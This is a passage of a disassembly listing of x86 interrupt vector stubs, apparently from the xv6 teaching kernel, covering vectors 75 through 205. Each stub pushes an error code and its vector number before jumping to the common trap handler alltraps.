801073d2: 6a 4a push $0x4a
jmp alltraps
801073d4: e9 db f6 ff ff jmp 80106ab4 <alltraps>
801073d9 <vector75>:
.globl vector75
vector75:
pushl $0
801073d9: 6a 00 push $0x0
pushl $75
801073db: 6a 4b push $0x4b
jmp alltraps
801073dd: e9 d2 f6 ff ff jmp 80106ab4 <alltraps>
801073e2 <vector76>:
.globl vector76
vector76:
pushl $0
801073e2: 6a 00 push $0x0
pushl $76
801073e4: 6a 4c push $0x4c
jmp alltraps
801073e6: e9 c9 f6 ff ff jmp 80106ab4 <alltraps>
801073eb <vector77>:
.globl vector77
vector77:
pushl $0
801073eb: 6a 00 push $0x0
pushl $77
801073ed: 6a 4d push $0x4d
jmp alltraps
801073ef: e9 c0 f6 ff ff jmp 80106ab4 <alltraps>
801073f4 <vector78>:
.globl vector78
vector78:
pushl $0
801073f4: 6a 00 push $0x0
pushl $78
801073f6: 6a 4e push $0x4e
jmp alltraps
801073f8: e9 b7 f6 ff ff jmp 80106ab4 <alltraps>
801073fd <vector79>:
.globl vector79
vector79:
pushl $0
801073fd: 6a 00 push $0x0
pushl $79
801073ff: 6a 4f push $0x4f
jmp alltraps
80107401: e9 ae f6 ff ff jmp 80106ab4 <alltraps>
80107406 <vector80>:
.globl vector80
vector80:
pushl $0
80107406: 6a 00 push $0x0
pushl $80
80107408: 6a 50 push $0x50
jmp alltraps
8010740a: e9 a5 f6 ff ff jmp 80106ab4 <alltraps>
8010740f <vector81>:
.globl vector81
vector81:
pushl $0
8010740f: 6a 00 push $0x0
pushl $81
80107411: 6a 51 push $0x51
jmp alltraps
80107413: e9 9c f6 ff ff jmp 80106ab4 <alltraps>
80107418 <vector82>:
.globl vector82
vector82:
pushl $0
80107418: 6a 00 push $0x0
pushl $82
8010741a: 6a 52 push $0x52
jmp alltraps
8010741c: e9 93 f6 ff ff jmp 80106ab4 <alltraps>
80107421 <vector83>:
.globl vector83
vector83:
pushl $0
80107421: 6a 00 push $0x0
pushl $83
80107423: 6a 53 push $0x53
jmp alltraps
80107425: e9 8a f6 ff ff jmp 80106ab4 <alltraps>
8010742a <vector84>:
.globl vector84
vector84:
pushl $0
8010742a: 6a 00 push $0x0
pushl $84
8010742c: 6a 54 push $0x54
jmp alltraps
8010742e: e9 81 f6 ff ff jmp 80106ab4 <alltraps>
80107433 <vector85>:
.globl vector85
vector85:
pushl $0
80107433: 6a 00 push $0x0
pushl $85
80107435: 6a 55 push $0x55
jmp alltraps
80107437: e9 78 f6 ff ff jmp 80106ab4 <alltraps>
8010743c <vector86>:
.globl vector86
vector86:
pushl $0
8010743c: 6a 00 push $0x0
pushl $86
8010743e: 6a 56 push $0x56
jmp alltraps
80107440: e9 6f f6 ff ff jmp 80106ab4 <alltraps>
80107445 <vector87>:
.globl vector87
vector87:
pushl $0
80107445: 6a 00 push $0x0
pushl $87
80107447: 6a 57 push $0x57
jmp alltraps
80107449: e9 66 f6 ff ff jmp 80106ab4 <alltraps>
8010744e <vector88>:
.globl vector88
vector88:
pushl $0
8010744e: 6a 00 push $0x0
pushl $88
80107450: 6a 58 push $0x58
jmp alltraps
80107452: e9 5d f6 ff ff jmp 80106ab4 <alltraps>
80107457 <vector89>:
.globl vector89
vector89:
pushl $0
80107457: 6a 00 push $0x0
pushl $89
80107459: 6a 59 push $0x59
jmp alltraps
8010745b: e9 54 f6 ff ff jmp 80106ab4 <alltraps>
80107460 <vector90>:
.globl vector90
vector90:
pushl $0
80107460: 6a 00 push $0x0
pushl $90
80107462: 6a 5a push $0x5a
jmp alltraps
80107464: e9 4b f6 ff ff jmp 80106ab4 <alltraps>
80107469 <vector91>:
.globl vector91
vector91:
pushl $0
80107469: 6a 00 push $0x0
pushl $91
8010746b: 6a 5b push $0x5b
jmp alltraps
8010746d: e9 42 f6 ff ff jmp 80106ab4 <alltraps>
80107472 <vector92>:
.globl vector92
vector92:
pushl $0
80107472: 6a 00 push $0x0
pushl $92
80107474: 6a 5c push $0x5c
jmp alltraps
80107476: e9 39 f6 ff ff jmp 80106ab4 <alltraps>
8010747b <vector93>:
.globl vector93
vector93:
pushl $0
8010747b: 6a 00 push $0x0
pushl $93
8010747d: 6a 5d push $0x5d
jmp alltraps
8010747f: e9 30 f6 ff ff jmp 80106ab4 <alltraps>
80107484 <vector94>:
.globl vector94
vector94:
pushl $0
80107484: 6a 00 push $0x0
pushl $94
80107486: 6a 5e push $0x5e
jmp alltraps
80107488: e9 27 f6 ff ff jmp 80106ab4 <alltraps>
8010748d <vector95>:
.globl vector95
vector95:
pushl $0
8010748d: 6a 00 push $0x0
pushl $95
8010748f: 6a 5f push $0x5f
jmp alltraps
80107491: e9 1e f6 ff ff jmp 80106ab4 <alltraps>
80107496 <vector96>:
.globl vector96
vector96:
pushl $0
80107496: 6a 00 push $0x0
pushl $96
80107498: 6a 60 push $0x60
jmp alltraps
8010749a: e9 15 f6 ff ff jmp 80106ab4 <alltraps>
8010749f <vector97>:
.globl vector97
vector97:
pushl $0
8010749f: 6a 00 push $0x0
pushl $97
801074a1: 6a 61 push $0x61
jmp alltraps
801074a3: e9 0c f6 ff ff jmp 80106ab4 <alltraps>
801074a8 <vector98>:
.globl vector98
vector98:
pushl $0
801074a8: 6a 00 push $0x0
pushl $98
801074aa: 6a 62 push $0x62
jmp alltraps
801074ac: e9 03 f6 ff ff jmp 80106ab4 <alltraps>
801074b1 <vector99>:
.globl vector99
vector99:
pushl $0
801074b1: 6a 00 push $0x0
pushl $99
801074b3: 6a 63 push $0x63
jmp alltraps
801074b5: e9 fa f5 ff ff jmp 80106ab4 <alltraps>
801074ba <vector100>:
.globl vector100
vector100:
pushl $0
801074ba: 6a 00 push $0x0
pushl $100
801074bc: 6a 64 push $0x64
jmp alltraps
801074be: e9 f1 f5 ff ff jmp 80106ab4 <alltraps>
801074c3 <vector101>:
.globl vector101
vector101:
pushl $0
801074c3: 6a 00 push $0x0
pushl $101
801074c5: 6a 65 push $0x65
jmp alltraps
801074c7: e9 e8 f5 ff ff jmp 80106ab4 <alltraps>
801074cc <vector102>:
.globl vector102
vector102:
pushl $0
801074cc: 6a 00 push $0x0
pushl $102
801074ce: 6a 66 push $0x66
jmp alltraps
801074d0: e9 df f5 ff ff jmp 80106ab4 <alltraps>
801074d5 <vector103>:
.globl vector103
vector103:
pushl $0
801074d5: 6a 00 push $0x0
pushl $103
801074d7: 6a 67 push $0x67
jmp alltraps
801074d9: e9 d6 f5 ff ff jmp 80106ab4 <alltraps>
801074de <vector104>:
.globl vector104
vector104:
pushl $0
801074de: 6a 00 push $0x0
pushl $104
801074e0: 6a 68 push $0x68
jmp alltraps
801074e2: e9 cd f5 ff ff jmp 80106ab4 <alltraps>
801074e7 <vector105>:
.globl vector105
vector105:
pushl $0
801074e7: 6a 00 push $0x0
pushl $105
801074e9: 6a 69 push $0x69
jmp alltraps
801074eb: e9 c4 f5 ff ff jmp 80106ab4 <alltraps>
801074f0 <vector106>:
.globl vector106
vector106:
pushl $0
801074f0: 6a 00 push $0x0
pushl $106
801074f2: 6a 6a push $0x6a
jmp alltraps
801074f4: e9 bb f5 ff ff jmp 80106ab4 <alltraps>
801074f9 <vector107>:
.globl vector107
vector107:
pushl $0
801074f9: 6a 00 push $0x0
pushl $107
801074fb: 6a 6b push $0x6b
jmp alltraps
801074fd: e9 b2 f5 ff ff jmp 80106ab4 <alltraps>
80107502 <vector108>:
.globl vector108
vector108:
pushl $0
80107502: 6a 00 push $0x0
pushl $108
80107504: 6a 6c push $0x6c
jmp alltraps
80107506: e9 a9 f5 ff ff jmp 80106ab4 <alltraps>
8010750b <vector109>:
.globl vector109
vector109:
pushl $0
8010750b: 6a 00 push $0x0
pushl $109
8010750d: 6a 6d push $0x6d
jmp alltraps
8010750f: e9 a0 f5 ff ff jmp 80106ab4 <alltraps>
80107514 <vector110>:
.globl vector110
vector110:
pushl $0
80107514: 6a 00 push $0x0
pushl $110
80107516: 6a 6e push $0x6e
jmp alltraps
80107518: e9 97 f5 ff ff jmp 80106ab4 <alltraps>
8010751d <vector111>:
.globl vector111
vector111:
pushl $0
8010751d: 6a 00 push $0x0
pushl $111
8010751f: 6a 6f push $0x6f
jmp alltraps
80107521: e9 8e f5 ff ff jmp 80106ab4 <alltraps>
80107526 <vector112>:
.globl vector112
vector112:
pushl $0
80107526: 6a 00 push $0x0
pushl $112
80107528: 6a 70 push $0x70
jmp alltraps
8010752a: e9 85 f5 ff ff jmp 80106ab4 <alltraps>
8010752f <vector113>:
.globl vector113
vector113:
pushl $0
8010752f: 6a 00 push $0x0
pushl $113
80107531: 6a 71 push $0x71
jmp alltraps
80107533: e9 7c f5 ff ff jmp 80106ab4 <alltraps>
80107538 <vector114>:
.globl vector114
vector114:
pushl $0
80107538: 6a 00 push $0x0
pushl $114
8010753a: 6a 72 push $0x72
jmp alltraps
8010753c: e9 73 f5 ff ff jmp 80106ab4 <alltraps>
80107541 <vector115>:
.globl vector115
vector115:
pushl $0
80107541: 6a 00 push $0x0
pushl $115
80107543: 6a 73 push $0x73
jmp alltraps
80107545: e9 6a f5 ff ff jmp 80106ab4 <alltraps>
8010754a <vector116>:
.globl vector116
vector116:
pushl $0
8010754a: 6a 00 push $0x0
pushl $116
8010754c: 6a 74 push $0x74
jmp alltraps
8010754e: e9 61 f5 ff ff jmp 80106ab4 <alltraps>
80107553 <vector117>:
.globl vector117
vector117:
pushl $0
80107553: 6a 00 push $0x0
pushl $117
80107555: 6a 75 push $0x75
jmp alltraps
80107557: e9 58 f5 ff ff jmp 80106ab4 <alltraps>
8010755c <vector118>:
.globl vector118
vector118:
pushl $0
8010755c: 6a 00 push $0x0
pushl $118
8010755e: 6a 76 push $0x76
jmp alltraps
80107560: e9 4f f5 ff ff jmp 80106ab4 <alltraps>
80107565 <vector119>:
.globl vector119
vector119:
pushl $0
80107565: 6a 00 push $0x0
pushl $119
80107567: 6a 77 push $0x77
jmp alltraps
80107569: e9 46 f5 ff ff jmp 80106ab4 <alltraps>
8010756e <vector120>:
.globl vector120
vector120:
pushl $0
8010756e: 6a 00 push $0x0
pushl $120
80107570: 6a 78 push $0x78
jmp alltraps
80107572: e9 3d f5 ff ff jmp 80106ab4 <alltraps>
80107577 <vector121>:
.globl vector121
vector121:
pushl $0
80107577: 6a 00 push $0x0
pushl $121
80107579: 6a 79 push $0x79
jmp alltraps
8010757b: e9 34 f5 ff ff jmp 80106ab4 <alltraps>
80107580 <vector122>:
.globl vector122
vector122:
pushl $0
80107580: 6a 00 push $0x0
pushl $122
80107582: 6a 7a push $0x7a
jmp alltraps
80107584: e9 2b f5 ff ff jmp 80106ab4 <alltraps>
80107589 <vector123>:
.globl vector123
vector123:
pushl $0
80107589: 6a 00 push $0x0
pushl $123
8010758b: 6a 7b push $0x7b
jmp alltraps
8010758d: e9 22 f5 ff ff jmp 80106ab4 <alltraps>
80107592 <vector124>:
.globl vector124
vector124:
pushl $0
80107592: 6a 00 push $0x0
pushl $124
80107594: 6a 7c push $0x7c
jmp alltraps
80107596: e9 19 f5 ff ff jmp 80106ab4 <alltraps>
8010759b <vector125>:
.globl vector125
vector125:
pushl $0
8010759b: 6a 00 push $0x0
pushl $125
8010759d: 6a 7d push $0x7d
jmp alltraps
8010759f: e9 10 f5 ff ff jmp 80106ab4 <alltraps>
801075a4 <vector126>:
.globl vector126
vector126:
pushl $0
801075a4: 6a 00 push $0x0
pushl $126
801075a6: 6a 7e push $0x7e
jmp alltraps
801075a8: e9 07 f5 ff ff jmp 80106ab4 <alltraps>
801075ad <vector127>:
.globl vector127
vector127:
pushl $0
801075ad: 6a 00 push $0x0
pushl $127
801075af: 6a 7f push $0x7f
jmp alltraps
801075b1: e9 fe f4 ff ff jmp 80106ab4 <alltraps>
801075b6 <vector128>:
.globl vector128
vector128:
pushl $0
801075b6: 6a 00 push $0x0
pushl $128
801075b8: 68 80 00 00 00 push $0x80
jmp alltraps
801075bd: e9 f2 f4 ff ff jmp 80106ab4 <alltraps>
801075c2 <vector129>:
.globl vector129
vector129:
pushl $0
801075c2: 6a 00 push $0x0
pushl $129
801075c4: 68 81 00 00 00 push $0x81
jmp alltraps
801075c9: e9 e6 f4 ff ff jmp 80106ab4 <alltraps>
801075ce <vector130>:
.globl vector130
vector130:
pushl $0
801075ce: 6a 00 push $0x0
pushl $130
801075d0: 68 82 00 00 00 push $0x82
jmp alltraps
801075d5: e9 da f4 ff ff jmp 80106ab4 <alltraps>
801075da <vector131>:
.globl vector131
vector131:
pushl $0
801075da: 6a 00 push $0x0
pushl $131
801075dc: 68 83 00 00 00 push $0x83
jmp alltraps
801075e1: e9 ce f4 ff ff jmp 80106ab4 <alltraps>
801075e6 <vector132>:
.globl vector132
vector132:
pushl $0
801075e6: 6a 00 push $0x0
pushl $132
801075e8: 68 84 00 00 00 push $0x84
jmp alltraps
801075ed: e9 c2 f4 ff ff jmp 80106ab4 <alltraps>
801075f2 <vector133>:
.globl vector133
vector133:
pushl $0
801075f2: 6a 00 push $0x0
pushl $133
801075f4: 68 85 00 00 00 push $0x85
jmp alltraps
801075f9: e9 b6 f4 ff ff jmp 80106ab4 <alltraps>
801075fe <vector134>:
.globl vector134
vector134:
pushl $0
801075fe: 6a 00 push $0x0
pushl $134
80107600: 68 86 00 00 00 push $0x86
jmp alltraps
80107605: e9 aa f4 ff ff jmp 80106ab4 <alltraps>
8010760a <vector135>:
.globl vector135
vector135:
pushl $0
8010760a: 6a 00 push $0x0
pushl $135
8010760c: 68 87 00 00 00 push $0x87
jmp alltraps
80107611: e9 9e f4 ff ff jmp 80106ab4 <alltraps>
80107616 <vector136>:
.globl vector136
vector136:
pushl $0
80107616: 6a 00 push $0x0
pushl $136
80107618: 68 88 00 00 00 push $0x88
jmp alltraps
8010761d: e9 92 f4 ff ff jmp 80106ab4 <alltraps>
80107622 <vector137>:
.globl vector137
vector137:
pushl $0
80107622: 6a 00 push $0x0
pushl $137
80107624: 68 89 00 00 00 push $0x89
jmp alltraps
80107629: e9 86 f4 ff ff jmp 80106ab4 <alltraps>
8010762e <vector138>:
.globl vector138
vector138:
pushl $0
8010762e: 6a 00 push $0x0
pushl $138
80107630: 68 8a 00 00 00 push $0x8a
jmp alltraps
80107635: e9 7a f4 ff ff jmp 80106ab4 <alltraps>
8010763a <vector139>:
.globl vector139
vector139:
pushl $0
8010763a: 6a 00 push $0x0
pushl $139
8010763c: 68 8b 00 00 00 push $0x8b
jmp alltraps
80107641: e9 6e f4 ff ff jmp 80106ab4 <alltraps>
80107646 <vector140>:
.globl vector140
vector140:
pushl $0
80107646: 6a 00 push $0x0
pushl $140
80107648: 68 8c 00 00 00 push $0x8c
jmp alltraps
8010764d: e9 62 f4 ff ff jmp 80106ab4 <alltraps>
80107652 <vector141>:
.globl vector141
vector141:
pushl $0
80107652: 6a 00 push $0x0
pushl $141
80107654: 68 8d 00 00 00 push $0x8d
jmp alltraps
80107659: e9 56 f4 ff ff jmp 80106ab4 <alltraps>
8010765e <vector142>:
.globl vector142
vector142:
pushl $0
8010765e: 6a 00 push $0x0
pushl $142
80107660: 68 8e 00 00 00 push $0x8e
jmp alltraps
80107665: e9 4a f4 ff ff jmp 80106ab4 <alltraps>
8010766a <vector143>:
.globl vector143
vector143:
pushl $0
8010766a: 6a 00 push $0x0
pushl $143
8010766c: 68 8f 00 00 00 push $0x8f
jmp alltraps
80107671: e9 3e f4 ff ff jmp 80106ab4 <alltraps>
80107676 <vector144>:
.globl vector144
vector144:
pushl $0
80107676: 6a 00 push $0x0
pushl $144
80107678: 68 90 00 00 00 push $0x90
jmp alltraps
8010767d: e9 32 f4 ff ff jmp 80106ab4 <alltraps>
80107682 <vector145>:
.globl vector145
vector145:
pushl $0
80107682: 6a 00 push $0x0
pushl $145
80107684: 68 91 00 00 00 push $0x91
jmp alltraps
80107689: e9 26 f4 ff ff jmp 80106ab4 <alltraps>
8010768e <vector146>:
.globl vector146
vector146:
pushl $0
8010768e: 6a 00 push $0x0
pushl $146
80107690: 68 92 00 00 00 push $0x92
jmp alltraps
80107695: e9 1a f4 ff ff jmp 80106ab4 <alltraps>
8010769a <vector147>:
.globl vector147
vector147:
pushl $0
8010769a: 6a 00 push $0x0
pushl $147
8010769c: 68 93 00 00 00 push $0x93
jmp alltraps
801076a1: e9 0e f4 ff ff jmp 80106ab4 <alltraps>
801076a6 <vector148>:
.globl vector148
vector148:
pushl $0
801076a6: 6a 00 push $0x0
pushl $148
801076a8: 68 94 00 00 00 push $0x94
jmp alltraps
801076ad: e9 02 f4 ff ff jmp 80106ab4 <alltraps>
801076b2 <vector149>:
.globl vector149
vector149:
pushl $0
801076b2: 6a 00 push $0x0
pushl $149
801076b4: 68 95 00 00 00 push $0x95
jmp alltraps
801076b9: e9 f6 f3 ff ff jmp 80106ab4 <alltraps>
801076be <vector150>:
.globl vector150
vector150:
pushl $0
801076be: 6a 00 push $0x0
pushl $150
801076c0: 68 96 00 00 00 push $0x96
jmp alltraps
801076c5: e9 ea f3 ff ff jmp 80106ab4 <alltraps>
801076ca <vector151>:
.globl vector151
vector151:
pushl $0
801076ca: 6a 00 push $0x0
pushl $151
801076cc: 68 97 00 00 00 push $0x97
jmp alltraps
801076d1: e9 de f3 ff ff jmp 80106ab4 <alltraps>
801076d6 <vector152>:
.globl vector152
vector152:
pushl $0
801076d6: 6a 00 push $0x0
pushl $152
801076d8: 68 98 00 00 00 push $0x98
jmp alltraps
801076dd: e9 d2 f3 ff ff jmp 80106ab4 <alltraps>
801076e2 <vector153>:
.globl vector153
vector153:
pushl $0
801076e2: 6a 00 push $0x0
pushl $153
801076e4: 68 99 00 00 00 push $0x99
jmp alltraps
801076e9: e9 c6 f3 ff ff jmp 80106ab4 <alltraps>
801076ee <vector154>:
.globl vector154
vector154:
pushl $0
801076ee: 6a 00 push $0x0
pushl $154
801076f0: 68 9a 00 00 00 push $0x9a
jmp alltraps
801076f5: e9 ba f3 ff ff jmp 80106ab4 <alltraps>
801076fa <vector155>:
.globl vector155
vector155:
pushl $0
801076fa: 6a 00 push $0x0
pushl $155
801076fc: 68 9b 00 00 00 push $0x9b
jmp alltraps
80107701: e9 ae f3 ff ff jmp 80106ab4 <alltraps>
80107706 <vector156>:
.globl vector156
vector156:
pushl $0
80107706: 6a 00 push $0x0
pushl $156
80107708: 68 9c 00 00 00 push $0x9c
jmp alltraps
8010770d: e9 a2 f3 ff ff jmp 80106ab4 <alltraps>
80107712 <vector157>:
.globl vector157
vector157:
pushl $0
80107712: 6a 00 push $0x0
pushl $157
80107714: 68 9d 00 00 00 push $0x9d
jmp alltraps
80107719: e9 96 f3 ff ff jmp 80106ab4 <alltraps>
8010771e <vector158>:
.globl vector158
vector158:
pushl $0
8010771e: 6a 00 push $0x0
pushl $158
80107720: 68 9e 00 00 00 push $0x9e
jmp alltraps
80107725: e9 8a f3 ff ff jmp 80106ab4 <alltraps>
8010772a <vector159>:
.globl vector159
vector159:
pushl $0
8010772a: 6a 00 push $0x0
pushl $159
8010772c: 68 9f 00 00 00 push $0x9f
jmp alltraps
80107731: e9 7e f3 ff ff jmp 80106ab4 <alltraps>
80107736 <vector160>:
.globl vector160
vector160:
pushl $0
80107736: 6a 00 push $0x0
pushl $160
80107738: 68 a0 00 00 00 push $0xa0
jmp alltraps
8010773d: e9 72 f3 ff ff jmp 80106ab4 <alltraps>
80107742 <vector161>:
.globl vector161
vector161:
pushl $0
80107742: 6a 00 push $0x0
pushl $161
80107744: 68 a1 00 00 00 push $0xa1
jmp alltraps
80107749: e9 66 f3 ff ff jmp 80106ab4 <alltraps>
8010774e <vector162>:
.globl vector162
vector162:
pushl $0
8010774e: 6a 00 push $0x0
pushl $162
80107750: 68 a2 00 00 00 push $0xa2
jmp alltraps
80107755: e9 5a f3 ff ff jmp 80106ab4 <alltraps>
8010775a <vector163>:
.globl vector163
vector163:
pushl $0
8010775a: 6a 00 push $0x0
pushl $163
8010775c: 68 a3 00 00 00 push $0xa3
jmp alltraps
80107761: e9 4e f3 ff ff jmp 80106ab4 <alltraps>
80107766 <vector164>:
.globl vector164
vector164:
pushl $0
80107766: 6a 00 push $0x0
pushl $164
80107768: 68 a4 00 00 00 push $0xa4
jmp alltraps
8010776d: e9 42 f3 ff ff jmp 80106ab4 <alltraps>
80107772 <vector165>:
.globl vector165
vector165:
pushl $0
80107772: 6a 00 push $0x0
pushl $165
80107774: 68 a5 00 00 00 push $0xa5
jmp alltraps
80107779: e9 36 f3 ff ff jmp 80106ab4 <alltraps>
8010777e <vector166>:
.globl vector166
vector166:
pushl $0
8010777e: 6a 00 push $0x0
pushl $166
80107780: 68 a6 00 00 00 push $0xa6
jmp alltraps
80107785: e9 2a f3 ff ff jmp 80106ab4 <alltraps>
8010778a <vector167>:
.globl vector167
vector167:
pushl $0
8010778a: 6a 00 push $0x0
pushl $167
8010778c: 68 a7 00 00 00 push $0xa7
jmp alltraps
80107791: e9 1e f3 ff ff jmp 80106ab4 <alltraps>
80107796 <vector168>:
.globl vector168
vector168:
pushl $0
80107796: 6a 00 push $0x0
pushl $168
80107798: 68 a8 00 00 00 push $0xa8
jmp alltraps
8010779d: e9 12 f3 ff ff jmp 80106ab4 <alltraps>
801077a2 <vector169>:
.globl vector169
vector169:
pushl $0
801077a2: 6a 00 push $0x0
pushl $169
801077a4: 68 a9 00 00 00 push $0xa9
jmp alltraps
801077a9: e9 06 f3 ff ff jmp 80106ab4 <alltraps>
801077ae <vector170>:
.globl vector170
vector170:
pushl $0
801077ae: 6a 00 push $0x0
pushl $170
801077b0: 68 aa 00 00 00 push $0xaa
jmp alltraps
801077b5: e9 fa f2 ff ff jmp 80106ab4 <alltraps>
801077ba <vector171>:
.globl vector171
vector171:
pushl $0
801077ba: 6a 00 push $0x0
pushl $171
801077bc: 68 ab 00 00 00 push $0xab
jmp alltraps
801077c1: e9 ee f2 ff ff jmp 80106ab4 <alltraps>
801077c6 <vector172>:
.globl vector172
vector172:
pushl $0
801077c6: 6a 00 push $0x0
pushl $172
801077c8: 68 ac 00 00 00 push $0xac
jmp alltraps
801077cd: e9 e2 f2 ff ff jmp 80106ab4 <alltraps>
801077d2 <vector173>:
.globl vector173
vector173:
pushl $0
801077d2: 6a 00 push $0x0
pushl $173
801077d4: 68 ad 00 00 00 push $0xad
jmp alltraps
801077d9: e9 d6 f2 ff ff jmp 80106ab4 <alltraps>
801077de <vector174>:
.globl vector174
vector174:
pushl $0
801077de: 6a 00 push $0x0
pushl $174
801077e0: 68 ae 00 00 00 push $0xae
jmp alltraps
801077e5: e9 ca f2 ff ff jmp 80106ab4 <alltraps>
801077ea <vector175>:
.globl vector175
vector175:
pushl $0
801077ea: 6a 00 push $0x0
pushl $175
801077ec: 68 af 00 00 00 push $0xaf
jmp alltraps
801077f1: e9 be f2 ff ff jmp 80106ab4 <alltraps>
801077f6 <vector176>:
.globl vector176
vector176:
pushl $0
801077f6: 6a 00 push $0x0
pushl $176
801077f8: 68 b0 00 00 00 push $0xb0
jmp alltraps
801077fd: e9 b2 f2 ff ff jmp 80106ab4 <alltraps>
80107802 <vector177>:
.globl vector177
vector177:
pushl $0
80107802: 6a 00 push $0x0
pushl $177
80107804: 68 b1 00 00 00 push $0xb1
jmp alltraps
80107809: e9 a6 f2 ff ff jmp 80106ab4 <alltraps>
8010780e <vector178>:
.globl vector178
vector178:
pushl $0
8010780e: 6a 00 push $0x0
pushl $178
80107810: 68 b2 00 00 00 push $0xb2
jmp alltraps
80107815: e9 9a f2 ff ff jmp 80106ab4 <alltraps>
8010781a <vector179>:
.globl vector179
vector179:
pushl $0
8010781a: 6a 00 push $0x0
pushl $179
8010781c: 68 b3 00 00 00 push $0xb3
jmp alltraps
80107821: e9 8e f2 ff ff jmp 80106ab4 <alltraps>
80107826 <vector180>:
.globl vector180
vector180:
pushl $0
80107826: 6a 00 push $0x0
pushl $180
80107828: 68 b4 00 00 00 push $0xb4
jmp alltraps
8010782d: e9 82 f2 ff ff jmp 80106ab4 <alltraps>
80107832 <vector181>:
.globl vector181
vector181:
pushl $0
80107832: 6a 00 push $0x0
pushl $181
80107834: 68 b5 00 00 00 push $0xb5
jmp alltraps
80107839: e9 76 f2 ff ff jmp 80106ab4 <alltraps>
8010783e <vector182>:
.globl vector182
vector182:
pushl $0
8010783e: 6a 00 push $0x0
pushl $182
80107840: 68 b6 00 00 00 push $0xb6
jmp alltraps
80107845: e9 6a f2 ff ff jmp 80106ab4 <alltraps>
8010784a <vector183>:
.globl vector183
vector183:
pushl $0
8010784a: 6a 00 push $0x0
pushl $183
8010784c: 68 b7 00 00 00 push $0xb7
jmp alltraps
80107851: e9 5e f2 ff ff jmp 80106ab4 <alltraps>
80107856 <vector184>:
.globl vector184
vector184:
pushl $0
80107856: 6a 00 push $0x0
pushl $184
80107858: 68 b8 00 00 00 push $0xb8
jmp alltraps
8010785d: e9 52 f2 ff ff jmp 80106ab4 <alltraps>
80107862 <vector185>:
.globl vector185
vector185:
pushl $0
80107862: 6a 00 push $0x0
pushl $185
80107864: 68 b9 00 00 00 push $0xb9
jmp alltraps
80107869: e9 46 f2 ff ff jmp 80106ab4 <alltraps>
8010786e <vector186>:
.globl vector186
vector186:
pushl $0
8010786e: 6a 00 push $0x0
pushl $186
80107870: 68 ba 00 00 00 push $0xba
jmp alltraps
80107875: e9 3a f2 ff ff jmp 80106ab4 <alltraps>
8010787a <vector187>:
.globl vector187
vector187:
pushl $0
8010787a: 6a 00 push $0x0
pushl $187
8010787c: 68 bb 00 00 00 push $0xbb
jmp alltraps
80107881: e9 2e f2 ff ff jmp 80106ab4 <alltraps>
80107886 <vector188>:
.globl vector188
vector188:
pushl $0
80107886: 6a 00 push $0x0
pushl $188
80107888: 68 bc 00 00 00 push $0xbc
jmp alltraps
8010788d: e9 22 f2 ff ff jmp 80106ab4 <alltraps>
80107892 <vector189>:
.globl vector189
vector189:
pushl $0
80107892: 6a 00 push $0x0
pushl $189
80107894: 68 bd 00 00 00 push $0xbd
jmp alltraps
80107899: e9 16 f2 ff ff jmp 80106ab4 <alltraps>
8010789e <vector190>:
.globl vector190
vector190:
pushl $0
8010789e: 6a 00 push $0x0
pushl $190
801078a0: 68 be 00 00 00 push $0xbe
jmp alltraps
801078a5: e9 0a f2 ff ff jmp 80106ab4 <alltraps>
801078aa <vector191>:
.globl vector191
vector191:
pushl $0
801078aa: 6a 00 push $0x0
pushl $191
801078ac: 68 bf 00 00 00 push $0xbf
jmp alltraps
801078b1: e9 fe f1 ff ff jmp 80106ab4 <alltraps>
801078b6 <vector192>:
.globl vector192
vector192:
pushl $0
801078b6: 6a 00 push $0x0
pushl $192
801078b8: 68 c0 00 00 00 push $0xc0
jmp alltraps
801078bd: e9 f2 f1 ff ff jmp 80106ab4 <alltraps>
801078c2 <vector193>:
.globl vector193
vector193:
pushl $0
801078c2: 6a 00 push $0x0
pushl $193
801078c4: 68 c1 00 00 00 push $0xc1
jmp alltraps
801078c9: e9 e6 f1 ff ff jmp 80106ab4 <alltraps>
801078ce <vector194>:
.globl vector194
vector194:
pushl $0
801078ce: 6a 00 push $0x0
pushl $194
801078d0: 68 c2 00 00 00 push $0xc2
jmp alltraps
801078d5: e9 da f1 ff ff jmp 80106ab4 <alltraps>
801078da <vector195>:
.globl vector195
vector195:
pushl $0
801078da: 6a 00 push $0x0
pushl $195
801078dc: 68 c3 00 00 00 push $0xc3
jmp alltraps
801078e1: e9 ce f1 ff ff jmp 80106ab4 <alltraps>
801078e6 <vector196>:
.globl vector196
vector196:
pushl $0
801078e6: 6a 00 push $0x0
pushl $196
801078e8: 68 c4 00 00 00 push $0xc4
jmp alltraps
801078ed: e9 c2 f1 ff ff jmp 80106ab4 <alltraps>
801078f2 <vector197>:
.globl vector197
vector197:
pushl $0
801078f2: 6a 00 push $0x0
pushl $197
801078f4: 68 c5 00 00 00 push $0xc5
jmp alltraps
801078f9: e9 b6 f1 ff ff jmp 80106ab4 <alltraps>
801078fe <vector198>:
.globl vector198
vector198:
pushl $0
801078fe: 6a 00 push $0x0
pushl $198
80107900: 68 c6 00 00 00 push $0xc6
jmp alltraps
80107905: e9 aa f1 ff ff jmp 80106ab4 <alltraps>
8010790a <vector199>:
.globl vector199
vector199:
pushl $0
8010790a: 6a 00 push $0x0
pushl $199
8010790c: 68 c7 00 00 00 push $0xc7
jmp alltraps
80107911: e9 9e f1 ff ff jmp 80106ab4 <alltraps>
80107916 <vector200>:
.globl vector200
vector200:
pushl $0
80107916: 6a 00 push $0x0
pushl $200
80107918: 68 c8 00 00 00 push $0xc8
jmp alltraps
8010791d: e9 92 f1 ff ff jmp 80106ab4 <alltraps>
80107922 <vector201>:
.globl vector201
vector201:
pushl $0
80107922: 6a 00 push $0x0
pushl $201
80107924: 68 c9 00 00 00 push $0xc9
jmp alltraps
80107929: e9 86 f1 ff ff jmp 80106ab4 <alltraps>
8010792e <vector202>:
.globl vector202
vector202:
pushl $0
8010792e: 6a 00 push $0x0
pushl $202
80107930: 68 ca 00 00 00 push $0xca
jmp alltraps
80107935: e9 7a f1 ff ff jmp 80106ab4 <alltraps>
8010793a <vector203>:
.globl vector203
vector203:
pushl $0
8010793a: 6a 00 push $0x0
pushl $203
8010793c: 68 cb 00 00 00 push $0xcb
jmp alltraps
80107941: e9 6e f1 ff ff jmp 80106ab4 <alltraps>
80107946 <vector204>:
.globl vector204
vector204:
pushl $0
80107946: 6a 00 push $0x0
pushl $204
80107948: 68 cc 00 00 00 push $0xcc
jmp alltraps
8010794d: e9 62 f1 ff ff jmp 80106ab4 <alltraps>
80107952 <vector205>:
.globl vector205
vector205:
pushl $0
80107952: 6a 00 push $0x0
pushl $205
80107954: 68 cd 00 00 00 push $0xcd
jmp alltraps
80107959: e9 56 f1 ff ff jmp 80106ab4 <alltraps>
